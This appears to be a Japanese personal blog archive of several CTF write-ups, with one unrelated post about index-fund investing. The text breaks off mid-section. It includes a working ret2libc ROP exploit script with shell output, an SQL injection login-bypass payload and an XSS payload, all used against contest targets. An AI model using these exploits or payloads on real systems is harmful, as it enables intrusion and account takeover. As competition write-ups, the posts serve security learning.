SECCON 令和CTF writeup

SECCON 令和CTF writeup

個人参加限定なので個人で.510 pts で12位でした.

フラグ例は?

warmup で入れるだけ.
SECCON{reiwa}

bREInWAck

brainf*ck なのは明らか.
それぞれの文字をどれに置き換えるかを全通り試す?と考えるも,文字頻度から推測できそう.
まず . だろう.出力的にラストだし.あと[] っぽい,形的にも.
あとは だけど は開幕現れてるので > っぽいし, はそのあと連続してるので + っぽい.
この法則でいくと < だし - だとエスパーして置換して適当なインタプリンタへ Go.

>++++++++++++++++[>+
++++>++++>+++++++>++
++++>++<<<<<-]>+++.>
+++++.--..<----.-.>>
+++++++++++.>++.<<<+
+++.>++.++++.>>+++++
+++++++.<<<+++++++++
++++.--------.>-----
---.>>.-----.------.
>+.<<++.>>>+++++++++
+.

エスパー成功した. SECCON{bREIn_WAnic!}

零は?

よくある方程式を解く問題.後輩から承諾 CTF で送りつけらたことがあってサクッとコードを書いた.
方程式は sympy で解く.ただそもそも ? = 0 のケースがあって死ぬっぽくそこは例外処理した.
(末尾のやるきない print は何行くるかわからなかったので適当)

from pwn import *
from sympy import *

x = Symbol('x')

con = remote('zerois-o-reiwa.seccon.jp', 23615)

for i in range(100):
    con.recvline()
    expr = con.recvline().replace("?", "x")
    print(i, expr)
    tmp = solve(Eq(eval(expr[2:-1]),0))
    if len(tmp) == 0:
        ans = 0
    else:
        ans = tmp[0]
    con.sendline(str(ans))

print con.recvline()
print con.recvline()
print con.recvline()
print con.recvline()
print con.recvline()
print con.recvline()

100 問解けば良い素直(後輩のは Stage 2 があった).
SECCON{REIWA_is_not_ZERO_IS}

元号発表

PDF 開くと QR が隠れてて読めない. LibraOffice で開いて上に重なっているやつをどかす.
そのまま読もうとするが読めない. 令和 の形で抜かれてる部分がたりなさそう.
復元か?とおもって画像ひっぱったらなんか裏に 令和 の形で抜かれた QR の部分コードが.
フロントにもってきて,でかい QR コードの 令和 の形で抜かれたところに移動して位置を微調整しながら以下のアプリで読んだ.

‎「QRコードリーダー for iPhone」をApp Storeで

SECCON{overlay_overlap_overera}

和暦の流れ

バリナリ読んでみると 0x804878f あたりから入力された文字を1文字づつ cmp していることがわかる.
ざっと眺めてみると SHOWA をベースになんかゴニョゴニョして比較してる.入力は5文字.
適当な文字を入れて cmp あたりに BP 貼ってレジスタみてると1文字目は R であるらしい.
REIWA じゃないんか…と思ったけど違う.3文字目くらいまで適当に入れてあててみると RAY であることがわかった.
これってもしかして REIWA をそれっぽく読める感じのものを入れればいいのか…?とおもって RAYWA を入れると正解.
次が Old era らしいが,どうせ HEYSAY とかそういう感じだろうと予想して入れると通った.
SECCON{M-T-S-H-R}

reiwaVote

Web だし, SQLi とかじゃろ…と思っていろいろやるもうまくいかない.
登録時に ' を入れてみるとなんかログイン時にバグることがわかった.どうも syntax error でパスワードの MD5 が出ているみたい.
''' とかしてもだめ.登録されているユーザチェックが走るっぽくまず登録されていることが前提.
とはいえ,ログイン時のパスワードのハッシュ値なんか見えてもなんの意味もない.
ということはこれは登録時になんらかの SQLi ぶっこめば,別ユーザでログインできるみたいななにかなのではと予想する.
適当にユーザ名に誰でもログインできそうな SQLi ぶっこんでみるかーと思い, ' OR TRUE -- で登録.
その ID でログインしているみると見事 shinzo になれた.令和に投票して結果をみると1位になった.スーパーユーザーかなにか? あとは投票を閉め切れば以下のフラグが出た.歴史を守った!
SECCON{e32afd2cf7b98e41cf70fed}

まとめ

なんか意外と調子よく解けて良かった.
平成最後かつ令和最初の CTF でなかなか良かったので,新元号時代も頑張っていきたい.

f:id:yharima:20190501023029p:plain

SECCON CTF 2018 国内決勝 writeup

SECCON CTF 2018 国内決勝 writeup

yharima チームで参加. 1141 pts で 7位でした.
はじめての国内決勝だったので緊張しまくりでしたが,結構頑張れたと思いたい. f:id:yharima:20181224001249j:plain

松島

ポーカーをする問題で,フルハウス以上を出すと 100pts, フォーカード以上を出すと 300?400?pts もらえる.
フォーカード以上出すと,デフェンスキーワードも入れれるようになる.

開幕問題が空いてなくてやっていなかったが,空いてからはわりかしすぐに着手しはじめた.
問題のバイナリ見てたら,メンバーがもうフルハウス出た,とかいっていて笑っていた.
解析していくと結局は rand 叩いていて seed は time に依存しているっぽいことがわかった.
time を hook して未来予測していけばいいのか,と思ったがめんどくさそう.
よくよく考えるとローカルの時間変えて実行すればいいのでは,と思い調べてみると date コマンドでできるっぽいことがわかった.
一度適当にプレイしてみて,その時間のカードとローカルでプレイした時間に差し替えたものとを比較してみると完全に一致した.

$ sudo date -s "12/23 03:38:42 2018" && ./generate_random_hands
Sun Dec 23 03:38:42 UTC 2018
{"game_id":(null),"deck":[19,28,18,37,22,24,42,23,44,5],"max_score":3195}

というわけで,この方法でいけると思い以下のスクリプトを書いて判定していった(shell + node という謎の組み合わせ).

$ cat a.js
const arg = process.argv[2];
const s = arg.indexOf('[');
const e = arg.indexOf(']');

x = eval(arg.substring(s, e+1))
ans = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0];
x.forEach((e) => {
    ans[Math.floor(e/4)] = ans[Math.floor(e/4)] + 1;
});

ans.forEach((e, i) => {
    if (e == 4) {
        console.log("OK:" + i);
    }
});
$ cat poker.sh
#/bin/sh

for m in {20..59}; do
    for s in {0..59}; do
        t="12/23 04:${m}:${s} 2018"
        echo $t
        sudo date -s "${t}" >/dev/null && ./generate_random_hands | xargs node a.js
    done
done

ただ,なぜかフォーカードが出てもフルハウスのときのフラグしかでなくて,うーんうーん言っていたら,メンバーに聞いてこいと言われたのでおとなしく運営に聞きに行った.
説明が悪かったのかうまく伝わらなかったけどフォーカード出してる画面をみせると,納得してもらえて調べてもらうことになった.
結果,カードを変えてフォーカードより強くなるケースがあるとフォーカードでも駄目,ということでアナウンス + ルール追記されること.
max_score の値によってどうこうみたいな話だったが,解析する時間よりフォーカード片っ端から入れたほうが早そうと思ってそうした.)
マジかーという気持ちになりながらスクリプト叩きまくって最終的に以下の時間の結果でフラグを得ることができた.

$ sudo date -s "12/23 04:38:0 2018" >/dev/null && ./generate_random_hands
{"game_id":(null),"deck":[2,47,46,16,51,45,0,44,39,48],"max_score":23}

天橋立

任意の html ページを上げ, GET の parameter によって alert('XSS') が発火すれば良い,みたいな問題(説明へたですみません).

どうも40分で問題コンセプトを破壊してしまったようで,罪悪感があり申し訳ない気持ちになりました.なんかすみません.

最初,全然意味がわからなくてチームメンバーに詳しく教えてもらってなんとか理解した.
jjencode 的なことすればいいかと思ったけど,バイト数制限もあって厳しいなーと思った次のタイミングで,
SHA256 前の値を parameter にとって,それがハードコードしてある SHA-256 と一致すれば alert('XSS') が発火 するようにすればいいのでは?と思い至る.
適当に SHA-256 の実装をもってきて送りつけると全然解かれない(当たり前).
ただ,問題をよく理解してなくて title にデフェンスキーワード入れないとだめだったのに test とかしていてディフェンスポイントをかなり無駄にしていたっぽい.
気がつけばハッシュ値が変えただけのまったく同じ実装がアップロードされはじめて,これはもったいないことをしてしまったと頭を抱えていました. 以下,うちのチームの答え. f:id:yharima:20181223224302p:plain

おまけ

最後のほうにやることがなくなっていくつか問題をみていると Team Enu の問題が SHA-256 じゃなくて解けそうだったのと,
その時点でうちのチームより1つ上だったので,頑張って剥がしてみようと思い解析をはじめた.

わりと適当な感じで解析を進めると k で parameter を分割して前の部分はそのまま,後ろの部分は base64 で encode されたものを decode してから利用する.
あとはなんか色々な前処理をしたあと xor してペイロードを組み立てて eval して発火させる,という仕組み.
かなり辛い感じで色々ミスったんですが,頑張って解析して最終的に以下のペイロードをぶちこむことで撃墜できた(? はいらなかった).

aaaaaaaaaaaakcdD9bDbxohN9PooO

f:id:yharima:20181223224824p:plain

本来の問題のコンセプトはこういうことで,非常に面白かっただけに SHA-256 ゲーにしてしまった自分がちょっとアレだなという気持ちに….
なお Team Enu の解いた5分後くらいには SHA-256 の問題になってて「はい」ってなりました(笑).
(頑張ったので,この思い Team Enu の人に届くといいな.)

撃墜したらその問題でゲットしてたデフェンスポイントがもらえる仕組みとかだったら嬉しかったのかもしれない.
とはいえ SHA-256 問題がアレなのでそこをどうにかしないと厳しいのですが….

宮島

出された問題を満たす関数を指定バイト数以内のアセンブラで書く問題.いわゆるアセンブラゴルフ.

いくつか手を出していたが, dodododo が強すぎてまじで無理ゲーだ…となっていました.
基本的にメンバーが解いてくれていたので自分はあんまり手を出していません.
アセンブラ短歌の本買って出直します.

懇親会(追記)

お風呂に入る気持ちが強くて書き忘れていた.

社会性がないので他チームと交流できず,メンバーと話していたら insecure チームの方々が話かけてきてくれて色々話せた.ありがとうございます.
色々問題について話せたりできた良かったです!またどこかでお会いできたらよろしくおねがいします.

まとめ

初の国内決勝にでれてうれしかったです. yharima チームとしても,個人としても一つの区切りを迎えれたのかなと思う. まだまだ精進しないと駄目ですね….特にバイナリ.

色々と思うところもありますが,自分は SECCON 国内決勝に出ることを1つの目標として頑張ってきたので,来年以降も開催されることを願っております.
なくなってしまうと,そういうモチベーションを失ってしまう人が自分以外にもいるかもしれませんので.

運営のみなさま,ありがとうございました & お疲れ様でした.そしてなんかごめんなさい.

他のメンバーの writeup

qiita.com

SECCON CTF 2018 QUALS writeup

SECCON CTF 2018 QUALS writeup

yharima チームで参加.2535 pts で 28th でした.過去最高順位.
もしかしたら国内予選もワンちゃんあるのかもしれない…?

今回から後輩2名が参加して,6人体制だった.

Classic Pwn

よくあるスタックの BOF があり, EIP を奪って libc をリークしてシェルを立ち上げる問題.
何故かチームの誰も解いていなかった & 一応 pwn 担当なので自分が解いた.

ひとまず A とかで埋め尽くすと EIP がとれることは確認.
また puts@plt などもあるので, GOT のアドレスもわかるので libc の base addr も計算できる.
また pop rdi の gadget もあるので,1回目は pop rdi => puts@got => puts@plt として libc のアドレスをリークさせる.
リークさせたあと,そのアドレスを使って system 関数のアドレスを計算する必要がある.
よくある手法だと stack piviot して bss などに任意のペイロード流して実行される,的な感じだけど,
今回は別に main に飛ばしてもっかい同じことをやれば良い.
なので,1回目は pop rdi => puts@got => puts@plt => main として,
2回目は pop rdi => /bin/sh addr => system とすれば良い.

(CTF) mbp:CTF yuta1024$ python classic_pwn.py
[+] Opening connection to classic.pwn.seccon.jp on port 17354: Done
[-] libc_base_addr = 0x7f1366771000
[*] Switching to interactive mode
Have a nice pwn!!
$ ls -l
total 16
-rwxr-x--- 1 root classic 8872 Oct 23 02:37 classic
-rw-r----- 1 root classic   44 Oct 23 02:37 flag.txt
$ cat flag.txt
SECCON{w4rm1ng_up_by_7r4d1710n4l_73chn1qu3}
from pwn import *

context.arch = 'amd64'
con = remote('classic.pwn.seccon.jp', 17354)

con.recvline()
con.recvregex('Local Buffer >> ')

payload = 'A' * 72
payload += pack(0x00400753)  # pop rdi
payload += pack(0x00601018)  # puts@got
payload += pack(0x00400520)  # puts@plt
payload += pack(0x004006a9)  # main

con.sendline(payload)
con.recvline()
msg = con.recvline().strip()
libc_base_addr = unpack(msg + '\x00' * 2) - 0x6f690
print "[-] libc_base_addr = 0x%x" % libc_base_addr

con.recvline()
con.recvregex('Local Buffer >> ')

payload = 'A' * 72
payload += pack(0x00400753)  # pop rdi
payload += pack(libc_base_addr + 0x18cd57)  # /bin/sh
payload += pack(libc_base_addr + 0x45390)  # system

con.sendline(payload)
con.interactive()

Boguscrypt

実行してみるとどうも gethostbyaddr に失敗して終了してしまう.
バイナリを読んでみると,以下のように 0x200007f を INET_AF で解決しようとしている.

   0x080486b9 <+60>:    mov    DWORD PTR [esp+0x10],0x200007f
   0x080486c1 <+68>:    mov    DWORD PTR [esp+0x8],0x2
   0x080486c9 <+76>:    mov    DWORD PTR [esp+0x4],0x4
   0x080486d1 <+84>:    lea    eax,[esp+0x10]
   0x080486d5 <+88>:    mov    DWORD PTR [esp],eax
   0x080486d8 <+91>:    call   0x80484c0 <gethostbyaddr@plt>

途中まで読み間違えていたが,これは 127.0.0.2 の逆引きをしている.
当然 127.0.02 なんで引けないので,ひとまず localhost がかえるように /etc/hosts に追記して実行すると,
うまく動作して flag.txt が吐かれる.しかしぐちゃぐちゃになってて何かおかしい.
キーを求められるのでそこかと思ったが,異なるキーをいれても結果は同じになった.
ということは, 127.0.0.2 の結果によるものだと思い,同封されている pcap を読む.
127.0.0.2 の解決をしているパケットがあり, cur10us4ndl0ngh0stn4m3 らしいので,これを /etc/hosts に書いて実行するとフラグとなる.
SECCON{This flag is encoded by bogus routine}

History

なぜか解かれていなかったのでサクっとやった.
降ってきたファイルを file するとただの data だったので hexdump する.

$ hexdump -C J | head -10
00000000  60 00 00 00 02 00 00 00  55 ed 00 00 00 00 23 00  |`.......U.....#.|
00000010  61 08 00 00 00 00 01 00  d0 73 3f 01 00 00 00 00  |a........s?.....|
00000020  a4 df f6 d3 62 49 d1 01  00 01 00 00 00 00 00 00  |....bI..........|
00000030  00 00 00 00 20 00 00 00  22 00 3c 00 6e 00 67 00  |.... ...".<.n.g.|
00000040  65 00 6e 00 5f 00 73 00  65 00 72 00 76 00 69 00  |e.n._.s.e.r.v.i.|
00000050  63 00 65 00 2e 00 6c 00  6f 00 63 00 6b 00 00 00  |c.e...l.o.c.k...|
00000060  60 00 00 00 02 00 00 00  a7 56 00 00 00 00 01 00  |`........V......|
00000070  61 08 00 00 00 00 01 00  30 74 3f 01 00 00 00 00  |a.......0t?.....|
00000080  a4 df f6 d3 62 49 d1 01  02 00 00 00 00 00 00 00  |....bI..........|
00000090  00 00 00 00 20 00 00 00  20 00 3c 00 6e 00 67 00  |.... ... .<.n.g.|

ngen_service なる怪しそうな文字列があるのでググると以下の volatility のプラグインが見つかる.
volatility/usnparser at master · tomspencer/volatility · GitHub

これっぽいので,使い方をしらべて実行すると大量にでる.

$ python vol.py --profile Win7SP1x64 -f ../../J usnparser --output=csv -CS > out-j.txt

なんか RENAME したやつが怪しいという話だったので csv に吐き出したファイルからそのあたりをawk/ grep すると,

"SEC.txt" RENAME_OLD_NAME
"CON{.txt" RENAME_NEW_NAME
"CON{.txt" RENAME_NEW_NAME & CLOSE
"CON{.txt" RENAME_OLD_NAME
"F0r.txt" RENAME_NEW_NAME
"F0r.txt" RENAME_NEW_NAME & CLOSE
"WmiApRpl_new.h" RENAME_OLD_NAME
"WmiApRpl.h" RENAME_NEW_NAME
"WmiApRpl.h" RENAME_NEW_NAME & CLOSE
"WmiApRpl_new.ini" RENAME_OLD_NAME
"WmiApRpl.ini" RENAME_NEW_NAME
"WmiApRpl.ini" RENAME_NEW_NAME & CLOSE
"F0r.txt" RENAME_OLD_NAME
"ensic.txt" RENAME_NEW_NAME
"ensic.txt" RENAME_NEW_NAME & CLOSE
"ensic.txt" RENAME_OLD_NAME
"s.txt" RENAME_NEW_NAME
"s.txt" RENAME_NEW_NAME & CLOSE
"s.txt" RENAME_OLD_NAME
"_usnjrnl.txt" RENAME_NEW_NAME
"_usnjrnl.txt" RENAME_NEW_NAME & CLOSE
"_usnjrnl.txt" RENAME_OLD_NAME
"2018}.txt" RENAME_NEW_NAME
"2018}.txt" RENAME_NEW_NAME & CLOSE

とフラグっぽいものが出てきた.同じファイルの名前が変化しているよ思われるのでそのように awk/grepすると,

0xecfaL "SEC.txt" RENAME_OLD_NAME
0xecfaL "CON{.txt" RENAME_NEW_NAME
0xecfaL "CON{.txt" RENAME_NEW_NAME & CLOSE
0xecfaL "CON{.txt" RENAME_OLD_NAME
0xecfaL "F0r.txt" RENAME_NEW_NAME
0xecfaL "F0r.txt" RENAME_NEW_NAME & CLOSE
0xecfaL "F0r.txt" RENAME_OLD_NAME
0xecfaL "ensic.txt" RENAME_NEW_NAME
0xecfaL "ensic.txt" RENAME_NEW_NAME & CLOSE
0xecfaL "ensic.txt" RENAME_OLD_NAME
0xecfaL "s.txt" RENAME_NEW_NAME
0xecfaL "s.txt" RENAME_NEW_NAME & CLOSE
0xecfaL "s.txt" RENAME_OLD_NAME
0xecfaL "_usnjrnl.txt" RENAME_NEW_NAME
0xecfaL "_usnjrnl.txt" RENAME_NEW_NAME & CLOSE
0xecfaL "_usnjrnl.txt" RENAME_OLD_NAME
0xecfaL "2018}.txt" RENAME_NEW_NAME
0xecfaL "2018}.txt" RENAME_NEW_NAME & CLOSE

なので, SECCON{F0rensics_usnjrnl2018} がフラグ.

mnemonic

最初はまったくわからない.文字コード?とか思って色々調べてみるのさっぱりだめ.
後輩二人が mnemonic だから…という話をしていてふと,そういえばニーモニックなのかと思う.
最近 Monacoin のウォレットを作ったときに,問題のひらがな複数から何か生成するみたいなのがあったな…と思い当たる.
bip39 とかなんかそんな感じだったかとおもって bip39 のワードリストを漁り,問題のひらがなが含まれるか調べてみると何個かいれて全部ヒットした.
ということはこれかもと思い,問題のすでにハッシュ値がわかっているやつからハッシュ値を生成してみると…

$ cat index.js
const bip39 = require('bip39');

const ret = bip39.mnemonicToSeedHex("ふじみ あさひ みのう いっち いがく とない はづき ますく いせえび たれんと おとしもの おどろかす ことし おくりがな ちょうし ちきゅう さんきゃく こんとん せつだん ちしき ぬいくぎ まんなか たんい そっと");

console.log(ret);
$ node index.js
338c161dbdb47c570d5d75d5936e6a32178adde370b6774d40d97a51835d7fec88f859e0a6660891fc7758d451d744d5d3b1a1ebd1123e41d62d5a1550156b1f

と一致した.もうこれじゃん,と思うも短いハッシュのほうの生成方法がよくわからない.
試行錯誤するとどうも mnemonicToEntropy を叩くと短い方のハッシュがでてきた.

ニーモニックのうち先頭の1つだけ ?? になっているので,まずワードリストから長い方のハッシュに一致するニーモニックを全探索する.

$ cat index.js
const bip39 = require('bip39');

bip39.wordlists.JA.forEach((e) => {
  const mnemonic = e + " とかす なおす よけい ちいさい さんらん けむり ていど かがく とかす そあく きあい ぶどう こうどう ねみみ にあう ねんぐ ひねる おまいり いちじ ぎゅうにく みりょく ろしゅつ あつめる";

  const ret1 = bip39.mnemonicToSeedHex(mnemonic);

  if (ret1.startsWith("e9a")) {
    console.log(e);
  }
});
$ node index.js
はいれつ

ここまでわかればあとは mnemonicToEntropy をとって md5 にかけたものがフラグ.

$ cat index.js
const bip39 = require('bip39');

const mnemonic = "はいれつ とかす なおす よけい ちいさい さんらん けむり ていど かがく とかす そあく きあい ぶどう こうどう ねみみ にあう ねんぐ ひねる おまいり いちじ ぎゅうにく みりょく ろしゅつ あつめる";

const ret = bip39.mnemonicToEntropy(mnemonic, bip39.wordlists.JA);

console.log(ret);
$ node index.js
c0f4d6b07a192ac251d4ee2a34d5f1977d549a2e6d7cbaf9b09485b379cd3f70
$ echo -n "c0f4d6b07a192ac251d4ee2a34d5f1977d549a2e6d7cbaf9b09485b379cd3f70" | md5
cda2cb1742d1b6fc21d05c879c263eec

なので SECCON{cda2cb1742d1b6fc21d05c879c263eec} がフラグ(だったはず).

まとめ

kindvm 頑張っていたけど hint3 まで出せたところでタイムアップでした.
今回はなかなか頑張れた.国内予選出れたらいいな….わかったら追記します.

他のメンバーの writeup

qiita.com

追記(2018/11/08)

国内決勝出場権を得れました!!! :tada:

投資信託始めました & 2017年運用成績

投資信託始めました

前々から興味があったのでとりあえず始めてみた.
自分の運用ポリシーは以下.

  • インデックスファンドオンリー
  • 手数料重視
  • 国外:国内 = 6:4 の割合
  • 長期(10年以上)保有
    • 基本的には売らない
    • ただし資金に余裕がなくなれば売却する
  • 積立(元手がないので…)
  • 年間120万(NISA 枠を使い切る)
    • 基本的には月6万 + ボーナス月にさらに24万
    • ただし資金に余裕がなくなれば減額する
  • 毎年 12/31 に必ず運用成績をブログに書く

2017年運用成績

特にコメントするほど面白いこともないので,スクショだけ貼っておく.
f:id:yharima:20171231144337p:plain

SECCON 2017 Online writeup

SECCON 2016 Online writeup

yharima チームで参加.1900 pts で 84th でした.

Run me!

フィボナッチ数列11011 項目を求める問題.
与えられる実装は,非常に効率が悪い実装になっているので高速化してあげれば良い.
が,そんなことしなくても http://php.bubble.ro/fibonacci/ にぶち込んで,先頭 32 文字とれば良いだけ.
SECCON{65076140832331717667772761541872}

putchar music

C プログラムが与えられて,何の映画かを答える.
プログラムをみると何らかの音楽を再生していて,それを再生したら映画のタイトルがわかる,的な問題.
問題に,映画タイトルにスペースがあったら "_" に変えろ,というのがあったのと,
その昔 SECCON WARS という STAR WARS ネタがあったのと,そろそろ最後のジェダイが公開される,というあたりから, 何も考えず STAR WARS だろうと思って,入力したら正解だった.このあたりが自分が絶好調だった.
SECCON{STAR_WARS}

Powerful_Shell

power shell が与えられる.
ubuntu でも動くらしいので適当にインストールして実行してみるとエラーになる.
どうも ` が含まれているのが原因なので,置き換えてみると,ピアノの鍵盤が出て来る.
コード自体の末尾に Write-Host $ECOON 的なものを挿すとデコードされたコードがみれる.
デコードされたコードをみて,適当にデバッグログを差し込みながら解析すると,
hhjhhjhjkjhjhf を入力すると次のステージに進める.
さらに Enter password と出てくる.これは,内部にある base64 エンコードされたコードをデコードしたものと,
上記hhjhhjhjkjhjhf によって生成される鍵から復号された結果のコードが実行されている.
中身はこんな感じ.

{;}=+$();${=}=${;};${+}=++${;};${@}=++${;};${.}=++${;};${[}=++${;};
${]}=++${;};${(}=++${;};${)}=++${;};${&}=++${;};${|}=++${;};
${"}="["+"$(@{})"[${)}]+"$(@{})"["${+}${|}"]+"$(@{})"["${@}${=}"]+"$?"[${+}]+"]";
${;}="".("$(@{})"["${+}${[}"]+"$(@{})"["${+}${(}"]+"$(@{})"[${=}]+"$(@{})"[${[}]+"$?"[${+}]+"$(@{})"[${.}]);
${;}="$(@{})"["${+}${[}"]+"$(@{})"[${[}]+"${;}"["${@}${)}"];"${"}${.}${(}+${"}${(}${|}+${"}${(}${)}+${"}${(}${)}+${"}${)}${|}+${"}${)}${&}+${"}${(}${+}+${"}${&}${@}+${"}${+}${=}${+}+${"}${|}${)}+${"}${+}${=}${=}+${"}${[}${]}+${"}${)}${@}+${"}${+}${+}${+}+${"}${+}${+}${]}+${"}${+}${+}${(}+${"}${.}${@}+${"}${[}${]}+${"}${&}${=}+${"}${+}${+}${[}+${"}${+}${+}${+}+${"}${+}${=}${|}+${"}${+}${+}${@}+${"}${+}${+}${(}+${"}${.}${@}+${"}${.}${|}+${"}${(}${|}+${"}${+}${+}${=}+${"}${+}${+}${(}+${"}${+}${=}${+}+${"}${+}${+}${[}+${"}${.}${@}+${"}${+}${+}${(}+${"}${+}${=}${[}+${"}${+}${=}${+}+${"}${.}${@}+${"}${+}${+}${@}+${"}${|}${)}+${"}${+}${+}${]}+${"}${+}${+}${]}+${"}${+}${+}${|}+${"}${+}${+}${+}+${"}${+}${+}${[}+${"}${+}${=}${=}+${"}${.}${|}+${"}${+}${.}+${"}${+}${=}+${"}${)}${.}+${"}${+}${=}${@}+${"}${[}${=}+${"}${.}${(}+${"}${(}${|}+${"}${(}${)}+${"}${(}${)}+${"}${)}${|}+${"}${)}${&}+${"}${.}${@}+${"}${[}${]}+${"}${+}${=}${+}+${"}${+}${+}${.}+${"}${.}${@}+${"}${.}${|}+${"}${&}${=}+${"}${[}${&}+${"}${+}${+}${|}+${"}${(}${|}+${"}${+}${+}${[}+${"}${.}${(}+${"}${)}${@}+${"}${]}${+}+${"}${[}${|}+${"}${[}${|}+${"}${.}${|}+${"}${[}${+}+${"}${+}${@}${.}+${"}${+}${.}+${"}${+}${=}+${"}${|}+${"}${&}${)}+${"}${+}${+}${[}+${"}${+}${=}${]}+${"}${+}${+}${(}+${"}${+}${=}${+}+${"}${[}${]}+${"}${)}${@}+${"}${+}${+}${+}+${"}${+}${+}${]}+${"}${+}${+}${(}+${"}${.}${@}+${"}${.}${|}+${"}${)}${+}+${"}${+}${+}${+}+${"}${+}${+}${+}+${"}${+}${=}${=}+${"}${.}${@}+${"}${)}${[}+${"}${+}${+}${+}+${"}${|}${&}+${"}${.}${.}+${"}${.}${|}+${"}${]}${|}+${"}${+}${.}+${"}${+}${=}+${"}${|}+${"}${&}${)}+${"}${+}${+}${[}+${"}${+}${=}${]}+${"}${+}${+}${(}+${"}${+}${=}${+}+${"}${[}${]}+${"}${)}${@}+${"}${+}${+}${+}+${"}${+}${+}${]}+${"}${+}${+}${(}+${"}${.}${@}+${"}${.}${[}+${"}${&}${.}+${"}${(}${|}+${"}${(}${)}+${"}${(}${)}+${"}${)}${|}+${"}${)}${&}+${"}${+}${@}${.}+${"}${.}${(}+${"}${(}${|}+${"}${(}${)}+${"}${(}${)}+${"}${)}${|}+${"}${)}${&}+${"}${+}${@}${]}+${"}${.}${[}+${"}${+}${.}+${"}${+}${=}+${"}${+}${@}${]}|${;}"|&${;}

これは,最後の部分が評価されて実行されている.これは,評価される前を Write-Host を実行するとさらにコードがみえる.
中身をみると最後, power shell になっていて,入力された文字が P0wEr$H311 と入力するとフラグがでる(というかそれそのものがフラグ).

SECCON{P0wEr$H311}

Simon and Speck Block Ciphers

Simon とかいう暗号化方式で暗号化された結果と plain text と鍵の一部などが与えられる.
実装自体は論文の通りにやればできるが,めんどい,適当にぐぐると以下の実装がでてくる.

GitHub - inmcm/Simon_Speck_Ciphers: Implementations of the Simon and Speck Block Ciphers

あとは以下のようなコードを書いて,鍵の不明な部分を総当りするだけ(実行ときに適当に grep する).

#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <limits.h>
#include <stdlib.h>
#include "Simon.h"

int main() {
  Simon_Cipher my_simon_cipher = *(Simon_Cipher *)malloc(sizeof(Simon_Cipher));
  //uint8_t simon96_64_plain[] = {0x6d, 0x56, 0x4d, 0x37, 0x42, 0x6e, 0x6e, 0x71};
  uint8_t simon96_64_plain[] = {0x71, 0x6e, 0x6e, 0x42, 0x37, 0x4d, 0x56, 0x6d};
  //uint8_t simon96_64_cipher[] = {0xbb, 0x5d, 0x12, 0xba, 0x42, 0x28, 0x34, 0xb5};
  uint8_t simon96_64_cipher[] = {0xb5, 0x34, 0x28, 0x42, 0xba, 0x12, 0x5d, 0xbb};

  for (int c1 = 0x20; c1 <= 0x7e; ++c1) {
    for (int c2 = 0x20; c2 <= 0x7e; ++c2) {
      for (int c3 = 0x20; c3 <= 0x7e; ++c3) {
        for (int c4 = 0x20; c4 <= 0x7e; ++c4) {
          // uint8_t simon96_64_key[] = {0x53, 0x45, 0x43, 0x43, 0x4f, 0x4e, 0x7b, c1, c2, c3, c4, 0x7d};
          uint8_t simon96_64_key[] = {0x7d, c4, c3, c2, c1, 0x7b, 0x4e, 0x4f, 0x43, 0x43, 0x45, 0x53};
          Simon_Init(&my_simon_cipher, Simon_96_64, ECB, simon96_64_key, NULL, NULL);

          uint8_t ciphertext_buffer[16];
          Simon_Encrypt(my_simon_cipher, &simon96_64_plain, &ciphertext_buffer);
          printf("%c%c%c%c: %02x %02x %02x %02x %02x %02x %02x %02x\n", c1, c2, c3, c4,
           ciphertext_buffer[0], ciphertext_buffer[1], ciphertext_buffer[2], ciphertext_buffer[3],
           ciphertext_buffer[4], ciphertext_buffer[5], ciphertext_buffer[6], ciphertext_buffer[7]);
        }
      }
    }
  }
  return 0;
}

最初,与えられているデータの入力をコメントアウトされている状態で定義していたが,答えが出ずしばらくハマっていた.
よくよく考えるとリトルエンディアンで書かないとだめ?と思って逆にしてみたら答えが出た.

SECCON{6Pz0}

Thank you for playing!

SECCON{We have done all the challenges. Enjoy last 12 hours. Thank you!} 

その他

Baby Stack で無限に時間を溶かした.
EIP までは割りとあっさり奪えたのだけど,その後どう ROP するかでハマった.
最初は mmap で executable な領域を確保したあとに read で shellcode 積んで, EIP 飛ばせばいいや,と思ったのだけど,
mmpa まではできたけど pop gadget がなくてその後の ROP chain に繋げられず死亡.
その後 syscall 叩くことなども考えたけど,どれもうまくいかず終了.非常に辛い….

まとめ

国内決勝まであとちょっとだったらしい?
非常に辛いけど力不足を実感したので,また来年まで修行します.

Trend Micro CTF 2017 Online Qualifier writeup

Trend Micro CTF 2017 Online Qualifier writeup

いつもの yharima で参加.
結果は 500pts で 88th でした.微妙.
Windows バイナリを解析する力が足りない事を実感した.厳しい. 自分が解いた2問の writeup を書いておきます.

Reversing 100

記憶が微妙だけど落としてきたファイルを解凍すると, biscuit1biscuit2 が出てきたはず.
biscuit2 zip で暗号化されているので,まず biscuit1 を解析していく.
biscuit1Windows バイナリなので ollydbg に投げつけて実行してみる.
まず実行すると Please find sweets name staring from m for biscuit2. と出るので,
更にステップ実行しながらレジスタをみていると m から始まる英単語がいくつかでてくる.
適当にでてきたやつを入れていくと macaron で解凍できた.

解凍するとさらに biscuit3, biscuit4, biscuit5 が出て来る.
biscuit3jpeg で開いてもビスケットな画像だけ.
思考停止して binwalk してみると,

$ binwalk biscuit3.jpg

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             JPEG image data, JFIF standard 1.01
382           0x17E           Copyright string: "Copyright (c) 1998 Hewlett-Packard Company"
14253         0x37AD          Zip archive data, at least v1.0 to extract, compressed size: 5, uncompressed size: 5, name: biscuit.txt
14356         0x3814          End of Zip archive

なんか text ファイルが入っているので展開してみると中に, cream と書いてあるファイルがあるので,これがフラグの一部だと思われる.

続いて biscuit4 を見てるみるとただの text ファイルで以下のような内容.

$ cat biscuit4
Please create flag.

hint:

Flag = TMCTF{biscuit3_ biscuit5}

なるほど,ヒントで, biscuit3 は解析が終わっているのであとは biscuit5 を解析する必要がある.

biscuit5 はまた Windows バイナリなので ollydbg にかける.
適当にステップ実行して RET あたりのレジスタをみてみると choux という文字列が入ってるのでこれっぽい.

あとは,ヒントのよおり TMCTF{cream_ choux} とかで投げてみたけど通らない.
試行錯誤しているうちに最終的には TMCTF{choux_cream} で通った記憶.謎かった.

Analysis-Offensive 100

解凍すると Forensic_Encyption が出て来るので file にかけると,

$ file Forensic_Encyption
Forensic_Encyption: MS-DOS executable, MZ for MS-DOS

えっ…,ちょっと binwalk してみよう.

$ binwalk Forensic_Encyption

DECIMAL       HEXADECIMAL     DESCRIPTION
